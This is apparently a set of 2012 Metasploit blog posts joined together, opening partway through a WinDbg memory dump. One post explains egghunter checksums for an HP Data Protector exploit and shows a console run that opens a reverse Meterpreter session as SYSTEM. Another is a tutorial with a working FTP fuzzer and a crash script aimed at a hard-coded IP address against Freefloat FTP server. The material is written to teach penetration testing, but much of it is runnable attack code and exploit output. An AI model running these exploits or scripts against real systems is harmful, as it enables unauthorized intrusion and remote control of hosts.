0393f31c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0393f32c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0393f33c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0393f34c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0393f35c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0393f36c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0393f37c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0393f38c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0393f39c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0393f3ac  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0393f3bc  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0393f3cc  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0393f3dc  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0393f3ec  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0393f3fc  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0393f40c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0393f41c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0393f42c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0393f43c  00 00 00 00 00 00 00 00-77 30 30 74 77 30 30 74  ........w00tw00t
0393f44c  db ca bb 28 f1 f8 8f d9-74 24 f4 5a 2b c9 b1 49  ...(....t$.Z+..I
0393f45c  83 c2 04 31 5a 15 03 5a-15 ca 04 04 67 83 e7 f5  ...1Z..Z....g...
0393f46c  78 f3 6e 10 49 21 14 50-f8 f5 5e 34 f1 7e 32 00  x.n.I!.P..^4.~2.

 

The second block of the src_arg_0 buffer (483 bytes) are copied to the offset 0x1C of the second block (512 bytes) of dst_arg_4:

 

0:020> db 0393f27c+200 L200
0393f47c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0393f48c  00 00 00 00 00 00 00 00-00 00 00 00 ad 82 f2 9b  ................
0393f49c  c2 23 b8 fd ed b4 0d c2-a2 77 0c be b8 ab ee ff  .#.......w......
0393f4ac  72 be ef 38 6e 31 bd 91-e4 e0 51 95 b9 38 50 79  r..8n1....Q..8Py
0393f4bc  b6 01 2a fc 09 f5 80 ff-59 a6 9f 48 42 cc c7 68  ..*.....Y..HB..h
0393f4cc  73 01 14 54 3a 2e ee 2e-bd e6 3f ce 8f c6 93 f1  s..T:.....?.....
0393f4dc  3f cb ea 36 87 34 99 4c-fb c9 99 96 81 15 2c 0b  ?..6.4.L......,.
0393f4ec  21 dd 96 ef d3 32 40 7b-df ff 07 23 fc fe c4 5f  !....2@{...#..._
0393f4fc  f8 8b eb 8f 88 c8 cf 0b-d0 8b 6e 0d bc 7a 8f 4d  ..........n..z.M
0393f50c  18 22 35 05 8b 37 4f 44-c4 f4 7d 77 14 93 f6 04  ."5..7OD..}w....
0393f51c  26 3c ac 82 0a b5 6a 54-6c ec ca ca 93 0f 2a c2  &.a...%.
0393f5ec  f7 d4 bf 52 08 bf ae 67-90 02 f0 21 27 89 af 65  ...R...g...!'..e
0393f5fc  70 0e 13 91 cf 35 f1 57-d9 f5 7d 0c 60 93 12 95  p....5.W..}.`...
0393f60c  f1 04 8f 30 74 c4 d3 73-b4 a6 59 13 a9 ba 50 d5  ...0t..s..Y...P.
0393f61c  3b f9 ac f0 df 12 b1 f5-ac 04 17 37 c2 0d b2 0d  ;..........7....
0393f62c  9c 3b f8 cc 1a bf 7a a8-83 58 66 04 07 9e fb 23  .;....z..Xf....#
0393f63c  da d0 bf 9b 0e 20 f9 32-ce 69 57 fc 59 68 ab c8  ..... .2.iW.Yh..
0393f64c  fb 1a 5e d6 3c b7 9c b9-20 67 2a fe d7 e0 49 c0  ..^.

 

The same applies for the third block and the following:

 

0:020> db 0393f27c+400 L200
0393f67c  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0393f68c  00 00 00 00 00 00 00 00-00 00 00 00 75 77 af d7  ............uw..
0393f69c  93 19 6e 1b e2 ba ad cb-fa b3 78 73 7d e1 86 e8  ..n.......xs}...
0393f6ac  97 1a de 0d 24 dd 8e 15-e1 48 cd 53 35 f0 30 95  ....$....H.S5.0.
0393f6bc  94 68 fd 7d 75 65 ed 69-6b 58 40 bf 26 ef ec c6  .h.}ue.ikX@.&...
0393f6cc  62 7a d0 1b 8b ba 43 53-1b 98 b5 92 b4 18 80 22  bz....CS......."
0393f6dc  01 7f be 69 38 d1 ad 58-d2 d8 a0 29 67 da d1 04  ...i8..X...)g...
0393f6ec  14 56 3d a2 25 c4 53 63-51 52 88 50 bc 97 d5 32  .V=.%.ScQR.P...2
0393f6fc  88 fd 69 27 44 c7 d9 14-33 c8 55 fc 49 f8 f1 5a  ..i'D...3.U.I..Z
0393f70c  ba eb a2 5a a1 71 02 0f-63 c4 bd 74 3a a5 12 8e  ...Z.q..c..t:...
0393f71c  5b ed e9 98 8b 8d df 79-4f 06 9a 98 72 a0 4f 79  [......yO...r.Oy
0393f72c  46 3d 79 c4 c1 c3 80 e7-57 d9 dd e0 be e6 ab 3d  F=y.....W......=
0393f73c  ee 8f ff a0 84 5a 57 07-7a 41 81 5a 45 51 01 b3  .....ZW.zA.ZEQ..
0393f74c  76 6c c7 e1 d4 21 72 76-0f 39 b9 96 5f 7b dc 5b  vl...!rv.9.._{.[
0393f75c  57 78 2a 9d 5f 3f 08 5a-09 ac a9 a8 44 6d 53 f7  Wx*._?.Z....DmS.
0393f76c  38 9e 3f 26 45 e2 02 42-98 ba ae c9 fe 0f df be  8.?&E..B........
0393f77c  cc 65 6c fb 1e 9d f5 41-c6 57 15 d9 f8 ad 6d ba  .el....A.W....m.
0393f78c  c1 f9 67 e8 02 7e f4 90-58 f3 51 58 79 ad e5 3c  ..g..~..X.QXy..<
0393f79c  28 0e 63 78 43 10 c3 3e-ec 01 77 51 2a bf e2 21  (.cxC..>..wQ*..!
0393f7ac  ef ad b3 7c 3e 86 f3 10-4f af 13 93 e7 ec ce f7  ...|>...O.......
0393f7bc  3a b7 79 8b e2 41 35 35-35 9c b2 4a c1 7f 02 c0  :.y..A555..J....
0393f7cc  60 8e 8c 60 5a eb e5 4b-ef 87 4b e2 17 0c ae 20  `..`Z..K..K....
0393f7dc  8c 23 7b e5 fc 67 01 24-52 7a 09 32 43 5e 7f 33  .#{..g.$Rz.2C^.3
0393f7ec  c1 27 d8 1f 57 3b b7 95-b7 49 68 a1 cf 6e d2 98  .'..W;...Ih..n..
0393f7fc  a4 5a ea e6 71 14 18 ff-43 c4 76 ed 51 dc ec 42  .Z..q...C.v.Q..B
0393f80c  e4 7a f8 34 3e 4e 4a b9-b2 c0 7b 9c 14 4c 07 48  .z.4>NJ...{..L.H
0393f81c  0b 45 f0 c2 a3 4e 06 fc-28 cb c4 05 94 1f c6 61  .E...N..(......a
0393f82c  19 6a 84 d6 a6 70 fb d2-ab 5b 13 4c f4 91 39 e2  .j...p...[.L..9.
0393f83c  03 79 7d bc 88 8b 13 a3-fd d1 ef 9a 5d f7 16 28  .y}.........]..(
0393f84c  39 cc a8 f4 d5 7b 9a 3e-86 2e 4e 04 a3 8e 6c c5  9....{.>..N...l.
0393f85c  d9 f9 e2 a4 15 4c 52 a3-e0 76 37 e6 7e 78 8c 67  .....LR..v7.~x.g
0393f86c  7a 4b 8c 52 fc 01 81 8b-0a 55 e6 6e 96 0d c2 00  zK.R.....U.n....

 

As you can see, the data stored on the stack isn't a good place to store the payload because it's all broken into pieces.  Fortunately for us, the same complete data can also be found on the heap, which is ideal for deploying an egghunter.  Our strategy here first is to store the small-sized hunter on the stack (EIP will be redirect there), and search the egg (payload) in the good copy of the data stored in the heap.

 

But, as you remember, after the overflow there are at least two versions of the payload in the memory: One is stored on the heap, and the other is corruped stored on the stack. If the hunter doesn't find the good version first, it can result a crash.  Luckily, the egghunter code also supports a checksum feature, which allows the exploit to verify the integrity of the payload before executing it.

 

In order to use egghunting in a exploit the Msf::Exploit::Remote::Egghunter mixin must be included and the Msf::Exploit::Remote::Egghunter.generate_egghunter api can be used to generate the hunter and the egg. The function prototype is:

 

#
# Generates an egghunter stub based on the current target's architecture
# and operating system.
#
def generate_egghunter(payload, badchars = nil, opts = {})












 

The opts hash allows these keys, among others:

 

  • :eggtag: Optional.  An 8-byte tag that allows the hunter to identify and locate the payload.
  • :checksum: Optional. A boolean that enables dijital1's checksum feature.

 

In an exploit, the generate_egghunter function can be used like so:

 

hunter,egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true, :eggtag => 'w00t' })












 

Since the magic lies within the checksum option, I'll explain more about it in detail. The code that generates it can be reviewed in Rex::Exploitation::Egghunter.generate(). The checksum is a byte storing the sum of the bytes of the payload. This checksum is stored just after the payload (egg):

 

if opts[:checksum]
  cksum = 0
  payload.each_byte { |b|
  cksum += b
  }
  egg << [cksum & 0xff].pack('C')
end












 

The checksum test assembler, which is included in the hunter, can be found on the Rex::Exploitation::Egghunter.checksum_stub() protected method and is something like the next assembler (from a windbg debug session):

 

0393ffc2 51              push    ecx
0393ffc3 31c9            xor    ecx,ecx ; ecx := 0 , ecx counters allows to iterate through the data found
0393ffc5 31c0            xor    eax,eax ; eax := 0 , eax stores the checksum calculation
0393ffc7 02040f          add    al,byte ptr [edi+ecx] ; edi points to the start of the payload.encoded, checksum calculation is updated in al
0393ffca 41              inc    ecx
0393ffcb 6681f93d01      cmp    cx,13Dh ; 13D := length(payload.encoded)
0393ffd0 75f5            jne    0393ffc7
0393ffd2 3a040f          cmp    al,byte ptr [edi+ecx]; checksum stored at the end of the payload.encoded is compared with the calculation stored in al
0393ffd5 59              pop    ecx
0393ffd6 75d1            jne    0393ffa9 ; if calculate and stored checksum doesn't match find another eggtag in memory

 

As a result, this awesome checksum function gives us a reliable egghunting for the HP Data Protector exploit, in exchange for some additional bytes in the egghunter, of course. The result:

 

  
msf > use exploit/windows/misc/hp_dataprotector_new_folder 
msf  exploit(hp_dataprotector_new_folder) > set RHOST 192.168.1.147
RHOST => 192.168.1.147
msf  exploit(hp_dataprotector_new_folder) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.157:4444 
[*] 192.168.1.147:3817 - Sending Hello Request
[*] 192.168.1.147:3817 - Sending Authentication Request
[*] 192.168.1.147:3817 - Sending Token Request
[*] 192.168.1.147:3817 - Sending Home Identifier Request
[*] 192.168.1.147:3817 - Sending Home Contents Request
[*] 192.168.1.147:3817 - Sending Create Object Request
[*] Sending stage (752128 bytes) to 192.168.1.147
[*] Meterpreter session 1 opened (192.168.1.157:4444 -> 192.168.1.147:1044) at 2012-07-02 12:11:24 +0200

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > getpid
Current pid: 592
meterpreter > ps

Process List
============

 PID   PPID  Name               Arch  Session     User                           Path
 ---   ----  ----               ----  -------     ----                           ----
 .
 .
 .
 592   680   dpwinsdr.exe       x86   0           NT AUTHORITY\SYSTEM            C:\Program Files\HP\Data Protector Express\win\x86\dpwinsdr.exe
 .
 .
 .

 

As always if you would like to try out this new module, get your free Metasploit download now or update your existing installation.

This week's udpate has seven new modules, a much-anticipated Meterpreter enhancement, and more, so let's jump into it.


Egg Hunting and Stack Smashing

 

This week's update features a spiffy new module for HP Data Protector from Juan Vazquez and Wei 'sinn3r' Chen. It uises an egg hunting technique to reconstruct the exploit's payload -- and both Wei and Juan have a detailed blog posts in the works that go into detail on the whys and wherefores of egghunter shellcode and troubleshooting payload delivery during exploit dev. So, keep an eye on the #metasploit Twitter hashtag to catch the announcement for those. Both blog posts are really pretty fascinating, especially for those of you who'd like more insight into how working Metasploit exploits are crafted.

 

Update: Juan and sinn3r's blogs are here and here!

 

Network Sniffing with Meterpreter

 

This week's update also sees a fix from Stephen Fewer on Meterpreter that enables network interface sniffing on 64-bit systems (as well as the 32-bit variety). If you weren't aware of Meterpreter's network sniffing capabilities, see the Gist screenshots posted up by HD Moore which demos it all. Using Meterpreter as a remote wiretap like this is one of the coolest and underused features of Meterpreter, so thanks Stephen for bringing it to the 64-bit builds.

 

Ruby Binary Encoding

 

Finally, this update has a fix to about a thousand of our Ruby source files -- we've added a magic comment to all our library code to treat strings as 8-bit binary fields by default. When Ruby 1.9 was released, it had this idea of native encoding for all String objects. For most web applications, this can be useful and convenient -- after all, the Internet is international, and sometimes people like to use accents and umlauts and what have you.

 

However, strings in Metasploit are often things like shellcode, which doesn't have any notion of "native" encoding. 0x41414141 is "AAAA" no matter how you slice it. In order to be sure that the String objects we're getting are really the String objects that we need, we've instituted this 1.8-like default behavior. It's still possible to have strings encoded to some native format, of course, but we won't UTF-8 it by default any more.

 

For more on String encoding, magic comments, and associated esoterica, see the best documentation around: James Edward Gray's blog post, Ruby 1.9's Three Default Encodings.

 

New Modules

 

Here are the new modules for this update. See more about how to use them in Metasploit's Exploit Database.

 

 

Availability

 

If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.

 

For additional details on what's changed and what's current, please see the most excellent release notes.

So you wanna be a Metasploit exploit developer huh?

 

Well you are in luck because I have been working on an an "in-depth" exploit development tutorial series  that takes users behind the scenes on the process of exploit development and metasploit module creation. This series has been specifically designed with you "the community" in mind. It will cover step by step detail and explanation. This post is meant to be part 1 of a series of exploit posts to come. The goal is to raise awareness on the steps needed to build a simple exploit and work our way up to sophisticated metasploit modules that will help increase community contributions via our pull request system. Companies are also trying to drive up the cost of exploit development, and I say it doesn't matter because were not going anywhere. Programs like Metasploit secure the net, and kickstart vendors into action and prevents them from using the bluff card because proven exploits are offered to ensure customers/companies are safe from vulnerabilities.


What you will learn:

Part 1 is aimed at newcomers in the exploit field, and concentrates on exploiting a simple FTP server with a buffer overflow vulnerability to eventually land us a bind shell. Dont worry, we will systematically progress onto more difficult, and modern exploitation vectors in the upcoming series. Part 1 is a very easy demonstration and details old techniques, but will allow you to move onto more advanced exploitation techniques like ROP, Heap Spraying, and begin to understand how to bypass current memory protections like DEP/ASLR for the next series. I want you to struggle a bit with the old school way. Mona.py (and how it changed the game) will be covered in depth in the upcoming series as well. You cant know where exploit development/memory protections are going, or are currently at until you know where they have been. This experience is key because it gives you a solid grasp on the awesome functionality of the Metasploit framework, and how to write modules yourself, and gives you the confidence/ability to follow along as we progress deeper into exploit development in our future series posts. The skills you learn here can aid you in your current role and enable you to port exploits from other languages to Metasploit, and craft your own. Also, have you ever been on a pen test, and found a vulnerable service/daemon, and navigated to exploit-db.com and found several public exploits listed, only to find yourself without the knowledge or experience to modify/port those exploits to suit your pen test, and essentially not gain access?


Before we start:

I want to give an extra special thanks to Wei "sinn3r" Chen, Tod "todb" Beardsley, and Juan Vazquez from the Metasploit Team for performing the technical proof reading on the post, and for emailing me a "long" list of items to correct/update. Also for providing the extra special "Quick Tips" that are detailed throughout this post. Those quick tips will no doubt help myself and our community on our exploit development path. With their guidance I was able to learn new concepts, and I was able to refine my personal exploit process. This article would not be what it is if it wasn't for their input. Thanks !!




Screen Shot 2012-07-05 at 5.42.43 PM.png


According to Wei "sinn3r" Chen, Exploit Engineer and Juan Vazquez, Exploit Developer on the Metasploit Team, " Having an exploit dev on a pentest team can be handy, but not always possible to deploy them due time restrictions or permissions.  Ideally, exploits should constantly be prepared as early as possible, that way you can work on your reliability more, hence better results in your pentest. A last-min exploit will only be prone to failures, making your pentest unsuccessful.  Also, people should use Metasploit to build exploits because the whole package we provide -- we have a large collection of good payloads that are open source, so if needed you can always customize it.  We also have a large collection of post exploitation modules that your MSF payload can use, and good post exploitation is often where you get to add a lot more value to your pentest. "


Concentrating on exploit development during a pen test leaves the customer in a better spot because it uncovers actual business risk and exposure to compromise.

 

 

Metasploit exploit series goals:

  • Main goal is to raise the numbers of acceptable pull requests while learning cool Metasploit/ruby programming techniques in the process
  • Detail new modules and perform an in-depth anatomy deep dive on them, and demystify how they were created so we can learn how to emulate them

 

To ensure your success, if you havent done so already please familiarize yourself with the following (in order of relevance):

1. Learn Ruby The Hard Way then move on to Programming Ruby 1.9

2. Helpful Exploitation Theory | Assembly Memory Corruption Intro to exploits videos  | Myne-us | it-sec-catalog

3. Writing a Windows Exploit for the Metasploit Framework

4. Metasploit The Pen Testers Guide

5. Start to look at /modify/play and port actual Metasploit exploit code ['EDB',1, 2, 3, 4, 5']

 

6. Join the Metasploit hackers-developer list and invest time in learning the MSF Wiki processes:

    msf to the fullest | msfdev | porting exploit modules | dev environment | using git | msf acceptance guidelines | get your feet wet | bad coding practice | Top 50 most wanted exploits

 

 

Screen Shot 2012-07-05 at 5.42.43 PM.png


According to Wei "sinn3r" Chen, Exploit Engineer and Juan Vazquez, Exploit Developer on the Metasploit Team, " Exploitation steps can change depending on the compiler or the environment. Sometimes certain Windows API can change the stack layout a bit.  This is why sometimes you'll see an exploit working for a specific service-pack even though it's using application-specific memory addresses.  The same problem can also occur if you let your students compile their own vuln app, so make sure you don't let them compile from source. "

 

Exploit Building steps covered in this tutorial (steps used depends on the exploit/series covered):

We will stick to this exploit building format for the duration of the series.


Step 1.    Stack Based Buffer Overflows and vulnerable C/C++ functions

Step 2.    Why the overflow occurs (deep dive into IDA Pro and ImmunityDBG)

Step 3.    Noisy fuzzer to identify vulns => (fuzz.rb)

Step 4.    Crash the app => (isolate.rb)

Step 5.    Control the crash, uncover memory protections, and zone in on the command that crashed.

Step 6.    Uncover bad characters, and calculate shellcode space => (isolate.rb)

Step 7.    Confirm shellcode space by subtracting the end ESP address from the start ESP address

Step 8.    Overwrite "the stack including the RETN address with pattern analysis => (isolate.rb)

Step 9.    Gather jmp esp address in core application.dll not kernel32.dll (details why are shown)

Step 10.  Develop PoC exploit and pop calc.exe => (PoC.rb)

Step 11.  Weaponize it with shellcode => (weaponize.rb)

Step 12.  Exploit QA process and re-confirm BadCharacters => (weaponize.rb)

Step 13.  Port exploit into a metasploit module (msf.rb)

 

 

If you have any questions, need clarification or having any issues going thru the labs. Simply post a question in the metasploit discussion page. This encourages people to collaborate/share/answer for points and helps us track answers to provide the community with better material and quicker turnaround time on questions.

 

Tutorial series learning format:

We understand that different people learn in different ways so we are going to incorporate all the learning styles into this tutorial series. This series will emphasize practical hands on exercises, required reading, and the option of completing the homework (metasploit modules) and contribute your shiny new modules back to the community. This is the first exploit series of its kind, and we are truly excited!


Environment setup:

To ensure you can follow along during the series, I will provide version numbers regarding my dev environment where applicable. This series Part1. has been tested to run on the following versions and Operating systems only. Please set your environment accordingly before proceeding to the hands on exercises, and homework. I am using the following in my environment:

 

 


Step 1.  Theory - Stack Based Buffer Overflows and vulnerable C/C++ functions

Since part 1 is an entry level series it is best to discuss some of the fundamentals of the stack, and how it relates to Assembly and the exploit process.

 

An overflow happens in an application as the program writes more information in an array or the buffer, than the space allocated in memory for it. This causes the adjacent area, the areas above the direction of buffer growth, to be overwritten. When this occurs all previously stored values are corrupted.

Overflows are defined as programming errors that are introduced into a application as a result of failing to enforce boundary conditions on the data being copied into the buffer. The flaws are so common in fact that Microsoft is prohibiting the use of banned functions due to dangerous C library functions being used to handle strings. Familiarize yourself with assembly tutorials 1 and 2 before proceeding. Stacks in computing architectures are regions of memory where data is added or removed in a last-in-first-out (LIFO) manner.

 

Figure 0x1: Stack LIFO structure.

In a stack, the topmost item, which is added last, is taken out first. Hence a stack is a LIFO structure.

 


A strcpy example

#include <string.h>

void foo (char *bar)
{
  char  c[12];

  strcpy(c, bar);  // no bounds checking...
}

int main (int argc, char **argv)
{
  foo(argv[1]);
}
















Figure 0x2: Vulnerable code.

 

Screen Shot 2012-07-13 at 1.26.19 AM.png

Figure 0x3: Buffer overflow process.

 

A. The code at Figure 0x2 above takes an argument from the command line and copies it to a local stack variable c at A above.

B. This works fine for command line arguments smaller than 12 characters.

C. Any arguments larger than 11 characters long will result in corruption of the stack. (The maximum number of characters that is safe is one less than the size of the buffer here because in the C programming language strings are terminated by a zero byte character.

 

When the "func" procedure returns, it moves EBP back into ESP, and POP's the return address (EIP) off the stack (4 bytes). When the above code executes it overflows the buffer, writing 'A's over the old value of EBP and over the return address. By overwriting the return address, you can seriously alter the execution flow of the program by controlling EIP and eventually jumping to our evil shellcode (ESP).


 

Typical illustration of a stack layout during the function call

Figure 0x4: Typical layout of the stack during the function call.


As an example in Windows/Intel, typically, when the function call takes place, data elements are stored on the stack in the following way:

 

  1. The function parameters are pushed on the stack before the function is called.  The parameters are pushed from right to left.
  2. The function return address is placed on the stack by the x86 CALL instruction, which stores the current value of the EIP register.
  3. Then, the frame pointer that is the previous value of the EBP register is placed on the stack.
  4. If a function includes try/catch or any other exception handling construct such as SEH (Structured Exception Handling - Microsoft implementation), the compiler will include exception handling information on the stack.
  5. Next, the locally declared variables.
  6. Then the buffers are allocated for temporary data storage.
  7. Finally, the call save registers such as ESI, EDI, and EBX are stored if they are used at any point during the functions execution.

 

 

Step 2. Theory - Why the buffer overflow occurs (deep dive into Immunity Debugger)

 






Step 3.  Noisy fuzzer to identify vulns

Lets get started. First I will install/start Freefloat FTP server on the Microsoft XP Pro SP3 victim (the virtual machine you just created based on all the above steps).

 

 

Screen Shot 2012-07-05 at 5.42.43 PM.png


According to Wei "sinn3r" Chen, Exploit Engineer and Juan Vazquez, Exploit Developer on the Metasploit Team, " There is a way you can get a shell against FreeFloat FTP server without using a buffer overflow and much more reliable, btw :-)  Hint: You can upload to ANYWHERE. "


 

  Screen Shot 2012-06-28 at 6.13.43 PM.png

Figure 1: Start the FTP Server on the victim.

 

Next I do a quick banner grab to verify the version to verify its correct.

 

Screen Shot 2012-06-28 at 6.15.27 PM.png

Figure 2: Quick netcat banner grab.


#!/usr/bin/env ruby
#/home/nanob0t/.rvm/rubies/ruby-1.9.2-p290/bin/ruby
#require '/var/lib/gems/1.9.2/gems/rainbow-1.1.4/lib/rainbow.rb'


#=======================================================
#
# FILE: fuzz.rb
#
# DESCRIPTION: # A quick rewrite of ftpfuzz.py by "isomorphix"
# can be customized quickly.
# BUGS:    None reported :::
# NOTES:  Works on Nix x64
# AUTHOR:  Rick Flores nanoquetz9l<@>nanotechfibers.com
# VERSION: "SEAL Team v.1"
# CREATED: 07/8/11
# REVISION:
#=======================================================
$: << '.'


begin
  require 'rainbow'
  require 'socket'


rescue LoadError => e
  puts "ERROR: Missing ruby gem. Please see README file."
  puts e.inspect
end


@version = "SEAL Team v.1"


# my 1337 banner


def banner()
  puts "___________________________________________________________________"
  puts "  _  _                  _____            _                      "
  puts " | \ | |                |  ___|          | |                      "
  puts " |  \| | __ _ _ __  ___ | |__ _ __  __ _| |_ __  ___  ___ _ __  "
  puts " | . ` |/ _` | '_ \ / _ \|  __| '_ \ / _` | | '_ \ / _ \/ _ \ '__| "
  puts " | |\  | (_| | | | | (_) | |__| | | | (_| |_| | | |  __/  __/ |    "
  puts " \_| \_/\__,_|_| |_|\___/\____/_| |_|\__, (_)_| |_|\___|\___|_|    "
  puts "                                      __/ |                        "
  puts "                                    |___/  " + @version
  puts "                                                                  "
  puts "      Quick & dirty fuzzer that can be customized quickly."
  puts "___________________________________________________________________"
end


# GNU license


def license()
  puts "# Copyright (C) 2011 Rick Flores"
  puts "# This program comes with ABSOLUTELY NO WARRANTY."
  puts "# This is free software, and you are welcome to redistribute it"
  puts "# under certain conditions. See GNU GPLv3."
end


#puts banner ()


#
# Variables to be passed at the command line and assigned for
# use in identifying buffer overflow.
#
unless ARGV.length == 2
        puts "The correct use of fuzz.rb is as follows:".foreground(:yellow)
        puts "Usage: ruby fuzz.rb Target_IP_Address Target_Destination_Port".foreground(:yellow)
        puts "Example: ./fuzz.rb 192.168.15.3 666".foreground(:red).bright.blink
        exit
end


# Declare needed variables
target = ARGV[0]
port  = ARGV[1]
buffer = ["A"]
c      =20
while buffer.length <=40
  buffer << "A" * c
  c += 100
end


commands = ["MKD","ACCL","APPE","TOP","CWD","AUTH","STOR","STAT","LIST","RETR","NLST","LS","DELE","RSET","NOOP","UIDL","USER"]
commands.each {|cmd|
  buffer.each {|str|
    puts "Sending #{cmd} command with #{str.length} bytes".foreground(:red).bright
  socket = TCPSocket.new(target, port)
  socket.puts('USER test\r\n')
  puts socket.gets
  socket.puts('PASS test\r\n')
  puts socket.gets
  socket.puts(cmd + " " + str + "\r\n")
  puts socket.gets
  socket.puts('QUIT\r\n')
  socket.close
  }
}
















































 

Figure 3: fuzz.rb script we will be using (can be downloaded below).



Step 4. Crash the application.


Below we see that the fuzzer has crashed while sending 1720 bytes to the MKD command.

Screen Shot 2012-06-28 at 6.27.53 PM.png

Screen Shot 2012-06-28 at 6.28.07 PM.png

Figure 4: fuzzer crashed at exactly 1720 bytes with the MKD command.


The Freefloat FTP Server has crashed.


Screen Shot 2012-06-28 at 6.32.30 PM.png

Figure 5: The FTP server crashed.



Next we isolate in on the MKD command at step 5 below, and see the crash in detail so we can study it.

 

 

We first restart the FTP server then attach it to Immunity Debugger to eventually see which magic 4 bytes overwrite "the stack including the RETN address.

Dont forget to run the program when finished attaching it.


Screen Shot 2012-06-28 at 7.22.50 PM.png

Figure 6: After restarting the FTP server, fire up Immunity and go to File>Attach


Screen Shot 2012-06-28 at 7.24.40 PM.png

Figure 7: Dont forget to start the app because it is paused by default by pressing <F9>.

 



Step 5. Control the crash, uncover memory protections, and zone in on the command that crashed.

We are only concerned with DEP/ASLR at this point, and those bypass techniques are not covered until Part 2 of this series. Keep an eye out for it soon.



Screen Shot 2012-07-05 at 5.42.43 PM.png


Wei "sinn3r" Chen, Exploit Engineer and Juan Vazquez, Exploit Developer on the Metasploit Team, comment on memory protections, " Memory protections can be compiler specific. For example, you will probably never see programs compiled by the latest DevC++ with default settings protected by any memory protection such as SafeSEH, ASLR, NX, etc. But you will see the opposite in the latest Visual Studio. "

 


#!/usr/bin/env ruby
#
#More informations about the flaw can be found here http://net-fuzzer.blogspot.com/2011/07/freefloat-ftp-server-multiples-buffer.html.
#
#What i do?
#Only a script, to demonstrate the crash in FreeFloatFtpServer 1.00.
#
#Note:
#After sending the very long MKD command, close the socket connection, then open another socket on the server,
#wait a second using "sleep(1)" and close the connection.
#For the program to crash it is necessary to connect again.
#
require 'socket'


###### [ 1 ]
buf = "X" * 1000 # original qk_fuzz.rb buffer ESP should be overwritten by 58:58:58:58


###### [ 2 ]
# Pattern analysis by sending unique string to identify which 4 bytes overwrite EIP !
#buf = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"


###### [ 3 ]
    # 58        # 56      # 5a
#buf = "X" * 247 + "V" * 4 + "Z" * 749 # EIP should get overwritten by exactly 4 V's or 56:56:56:56


begin
s = TCPSocket.new('10.2.17.137',21)
print "<< "+s.recv(10000)
s.puts("USER admin\r\n")
print "<< "+s.recv(10000)
s.puts("PASS admin\r\n")
print "<< "+s.recv(10000)
s.puts("MKD #{buf}\r\n")
s.close # Here Maybe don't crash the program.
#####################################################
so = TCPSocket.new('10.2.17.137',21) # Connect again,
sleep(1)
so.close # Now Crash
#####################################################
rescue
print "[-]Error: #{$!}\n"
exit(-1)
end

















































